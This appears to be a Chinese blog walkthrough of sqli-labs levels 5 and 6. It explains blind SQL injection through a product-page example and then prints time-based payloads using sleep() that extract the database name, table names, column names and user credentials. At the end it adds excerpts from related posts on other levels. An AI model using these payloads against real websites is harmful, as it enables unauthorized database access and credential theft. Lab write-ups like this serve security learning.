sqli labs第5 6關 詳解

2022-06-06 09:09:10 字數 2230 閱讀 8086

先開啟第五關,我們嘗試sql盲注

先看乙個例子吧

某公司有乙個站點,有乙個showproduct.php頁面,該頁面接受名為id的引數,該引數可唯一標識web站點上的每一件商品。訪客可以按下列方式請求頁面:

每個請求將顯示顧客希望看到的商品資料,為保護資料庫不向使用者顯示任何資料庫錯誤,下列所有請求均顯示第一件商品:

' or and 1=1

'到目前為止,我們能看到這公司考慮到了安全性問題,但是我們繼續推理過程

or 1=1  //返回了第1件商品

or 1=2  //返回了第2件商品

在第乙個請求中,or 1=1讓資料庫返回所有商品。資料庫檢測該語句異常,顯示第1件商品。

在第二個請求中,or 1=2對結果沒有影響,所以顯示第2件商品

不難發現,我們可以根據相同的原理對攻擊做一些變化,例如,可以選擇and邏輯運算子來替換or。這樣一來

and 1=1  //返回了第2件商品

and 1=2  //返回了第1件商品

現在雖然可以操作sql查詢,但是卻無法從中獲取資料。此外,web伺服器根據傳送的條件回發不同的相應。我們據此可以確認sql盲注的存在,並開始著手利用此漏洞。

了解這個了,我們來到sqli-labs第5關 學習一下,sql盲注

我們無法跟前4道題一樣,發現沒有回顯出來使用者名稱和密碼,於是我們進行如下

?id=1' and 1=1--+

?id=1' or 1=2--+

用and連線條件時,  如果條件為真,則回顯you are in...........

如果條件為假,則沒有回顯。

用or連線條件時,    如果條件為假,則回顯you are in...........

如果條件為真,則沒有回顯。

用著兩種pyload都可以,我這裡採用and運算子了。

第一步我們先猜解庫名的長度吧,利用延時注入,因為盲注一般頁面時沒有回顯的,所以我們採用延時,當然這道題是有回顯的

我們按照延時注入操作:

當我們測試長度為8時,出現了明顯延時,所以我們確定資料庫名為8個長度

' and if(length(database())=8,sleep(5),1)--+

資料庫第乙個字元為s,加下來以此增加left(database(),字元長度)中的字元長度,等號右邊以此爆破下乙個字元,正確匹配時會延遲。最終爆破得到left(database(),8)='security'

' and if(left(database(),1)='s',sleep(5),1)--+

爆表名:

' and if(left((select table_name from information_schema.tables where table_schema=database() limit 3,1),1)='users',sleep(5),5)--+

經過漫長的手注,我們就在limit 3,1中找到了表名 users

爆列名:

' and if(left((select column_name from information_schema.columns where table_name='users' limit 4,1),8)='password',sleep(5),1)--+

首先嘗試定向爆破,以提高手工注入速度,修改limit x,1 中的x查詢password是否存在表中,lucky的是limit 3,1的時候查到了password列,同樣的方法查詢username ,又乙個lucky,接下來爆破欄位的值。

爆破值payload:

' and if(left((select password from users order by id limit 0,1),4)='dumb',sleep(5),1)--+

' and if(left((select username from users order by id limit 0,1),4)='dumb',sleep(5),1)--+

按照id排序,這樣便於對應。注意limit 從0開始.通過堅持不懈的嘗試終於爆破到第乙個使用者的名字dumb,密碼dumb,需要注意的是,mysql對大小寫不敏感,所以你不知道是dumb 還是dumb。

這個wp寫的我手發慌,但是理解了這個盲注,學會了新姿勢,但是這種重複性的工作,我們交給sqlmap做。

sqlmap怎麼跑請參考第二種方法就是sqlmap跑出來的。

第6關和第五關類似:

例子是,來自《注入攻擊與防禦(第2版)》這本書。題是sqli-labs中的。

sqli labs第一關 詳解

sqli labs第一關 方法一 手工注入 方法二 sqlmap工具 兩種方式,都可以學學,順便學會用sqlmap,也是不錯的。不多說,我們開始吧 方法一 來到第一關,圖上說我們需要乙個數字的引數 於是我們先手工注入?id 1 and 1 1 跟?id 1 and 1 2發現頁面沒有報錯 每張截圖上...

sqli labs第5關布林盲注pyhton指令碼

import requests import os 此函式先判斷資料庫長度 def length url,str num 1 while true str num d num len url url and select length database str num response reques...

sqli labs通關教程 51 65關

看原始碼還是mysqli multi query函式,也就還是堆疊注入,和前一關沒什麼區別就是變成字元型了 建立less51表 sort 1 create table less51 like users 這關和五十關一樣,就是不報錯了。建立less51表 sort 1 create table le...